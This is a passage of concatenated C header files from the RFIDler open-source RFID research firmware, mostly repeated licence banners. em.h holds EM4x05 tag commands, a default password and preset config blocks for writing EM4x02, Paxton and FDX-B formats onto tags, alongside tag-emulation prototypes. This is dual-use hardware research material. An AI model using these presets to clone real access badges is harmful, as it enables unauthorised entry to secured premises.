* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL debug_get(BYTE pin);
BOOL debug_set(BYTE pin, BOOL state);
BOOL debug_toggle(BYTE pin);
BOOL debug_on(BYTE pin);
BOOL debug_off(BYTE pin);
void debug_show(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/detect.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
void detect_init(void);
void detect_external_clock(BOOL wait, BYTE max_hz);
unsigned long read_external_clock_burst(unsigned int ticks);
================================================
FILE: firmware/Pic32/RFIDler.X/include/em.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// em4x02
#define EM4X02_DATABITS 64
// em4205/4305 (em4469 compatible command set)
#define EM4X05_DATABITS 512
#define EM4X05_BLOCKSIZE 32
#define EM4X05_CONFIG_BLOCK_NUM 4
#define EM4X05_USER_DATA_BLOCK_NUM 5
#define EM4X05_PW_BLOCK_NUM 2
#define EM4X05_DATABLOCKS 14 // note 2 more blocks exist, but can only be written with "protect" command
#define EM4X05_INFO_BLOCK_NUM 0
#define EM4X05_WRITE_DELAY 1340 // eeprom write in FCs
// em4205 commands (leading 0 + 3 bits + even parity)
#define EM4X05_LOGIN "00011"
#define EM4X05_WRITE_WORD "00101"
#define EM4X05_READ_WORD "01001"
#define EM4X05_PROTECT "01100"
#define EM4X05_DISABLE "01010"
// config block masks
#define EM4X05_MASK_RESERVED 0b11111000000000000000000000000000
#define EM4X05_MASK_PIGEON 0b00000100000000000000000000000000
#define EM4X05_MASK_UNUSED_4 0b00000010000000000000000000000000
#define EM4X05_MASK_RTF 0b00000001000000000000000000000000
#define EM4X05_MASK_DISABLE 0b00000000100000000000000000000000
#define EM4X05_MASK_UNUSED_3 0b00000000011000000000000000000000
#define EM4X05_MASK_WRITE_LOGIN 0b00000000000100000000000000000000
#define EM4X05_MASK_UNUSED_2 0b00000000000010000000000000000000
#define EM4X05_MASK_READ_LOGIN 0b00000000000001000000000000000000
#define EM4X05_MASK_LWR 0b00000000000000111100000000000000
#define EM4X05_MASK_DELAYED_ON 0b00000000000000000011000000000000
#define EM4X05_MASK_UNUSED_1 0b00000000000000000000110000000000
#define EM4X05_MASK_ENCODER 0b00000000000000000000001111000000
#define EM4X05_MASK_DATA_RATE 0b00000000000000000000000000111111
// config block bit shifts
#define EM4X05_SHIFT_RESERVED 27
#define EM4X05_SHIFT_PIGEON 26
#define EM4X05_SHIFT_UNUSED_5 25
#define EM4X05_SHIFT_RTF 24
#define EM4X05_SHIFT_DISABLE 23
#define EM4X05_SHIFT_UNUSED_4 21
#define EM4X05_SHIFT_WRITE_LOGIN 20
#define EM4X05_SHIFT_UNUSED_3 19
#define EM4X05_SHIFT_READ_LOGIN 18
#define EM4X05_SHIFT_LWR 14
#define EM4X05_SHIFT_DELAYED_ON 12
#define EM4X05_SHIFT_UNUSED_2 10
#define EM4X05_SHIFT_ENCODER 6
#define EM4X05_SHIFT_DATA_RATE 0
// info block masks
#define EM4X05_MASK_CUSTOMER 0b0000000000001111111111000000000
#define EM4X05_MASK_CAPACITOR 0b0000000000000000000000001100000
#define EM4X05_MASK_CHIP 0b0000000000000000000000000011110
// info block shifts
#define EM4X05_SHIFT_CUSTOMER 9
#define EM4X05_SHIFT_CAPACITOR 5
#define EM4X05_SHIFT_CHIP 1
// config values
#define CHIP_TYPE_EM4205 8
#define CHIP_TYPE_EM4305 9
#define EM4X05_MOD_MANCHESTER 1
#define EM4X05_MOD_BIPHASE 2
// config blocks - note when encoding data blocks, remember to reverse bits as EM4X05 delivers data LSB
#define EM4X05_DEFAULT_CONFIG_BLOCK "0002005F" // everything default to false, Manchester, RF/64, maxword 8 (128 data bits / 4 words)
#define EM4X05_READ_LOGIN_CONFIG_BLOCK "0006005F" // as per default, but with READ LOGIN set
#define EM4X05_WRITE_LOGIN_CONFIG_BLOCK "0012005F" // as per default, but with WRITE LOGIN set
#define EM4X05_READ_WRITE_LOGIN_CONFIG_BLOCK "0016005F" // as per default, but with READ & WRITE LOGIN set
#define EM4X05_UNIQUE_CONFIG_BLOCK "0001805F" // EM4X02/Unique - Manchester, RF/64, maxword 6 (64 data bits / 2 words)
#define EM4X05_PAXTON_CONFIG_BLOCK "0001805F" // EM4X02/Paxton - Manchester, RF/64, maxword 6 (64 data bits / 2 words)
#define EM4X05_FDXB_CONFIG_BLOCK "0002108F" // FDX-B ISO-11784/5 - BiPhase ('57 - inverted), Delay ON BP/4, RF/32, maxword 8 (128 data bits / 4 words)
// data blocks
#define EM4X05_BLANK_BLOCK "00000000"
#define EM4X05_PWD_DEFAULT "00000000"
BOOL em4x02_get_uid(BYTE *response);
BOOL em4x02_hex_to_uid(BYTE *response, BYTE *hex);
BOOL hex_to_em4x02_bin(unsigned char *em, unsigned char *hex);
BOOL em4x02_hex_to_bin(unsigned char *bin, unsigned char *em);
void bin_to_em4x02_bin(unsigned char *em, unsigned char *bin);
BOOL em4x05_send_command(BYTE *command, char address, BOOL send_data, BYTE *data, BOOL get_response, BYTE *response, unsigned int write_delay);
BOOL em4x05_forward_link(BYTE *data);
BOOL em4x05_get_uid(BYTE *response);
BOOL em4x05_disable(void);
BOOL em4x05_write_word(BYTE word, BYTE *data, BOOL verify);
BOOL em4x05_read_word(BYTE *response, BYTE word);
void bin_to_em4x05_ota(unsigned char *ota, unsigned char *bin);
BOOL em4x05_ota_to_hex(unsigned char *hex, unsigned char *ota);
BOOL em4x05_config_block_show(BYTE *config, BYTE *info);
BOOL em4x05_emulate_config_block(BYTE *config, BYTE target_tagtype);
BOOL em4x05_login(BYTE *response, BYTE *pwd);
================================================
FILE: firmware/Pic32/RFIDler.X/include/emulate.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL emulate_tag(unsigned char *UID);
================================================
FILE: firmware/Pic32/RFIDler.X/include/fdxb.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define FDXB_DATABITS 128
BOOL fdxb_get_uid(BYTE *response);
BOOL fdxb_hex_to_uid(BYTE *uid, BYTE *hex);
BOOL fdxb_hex_to_bin(BYTE *response, BYTE *fdxb);
BOOL uid_to_fdxb_bin(BYTE *bin, BYTE *uid);
BOOL uid_to_fdxb_hex(BYTE *bin, BYTE *uid);
================================================
FILE: firmware/Pic32/RFIDler.X/include/fsk.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
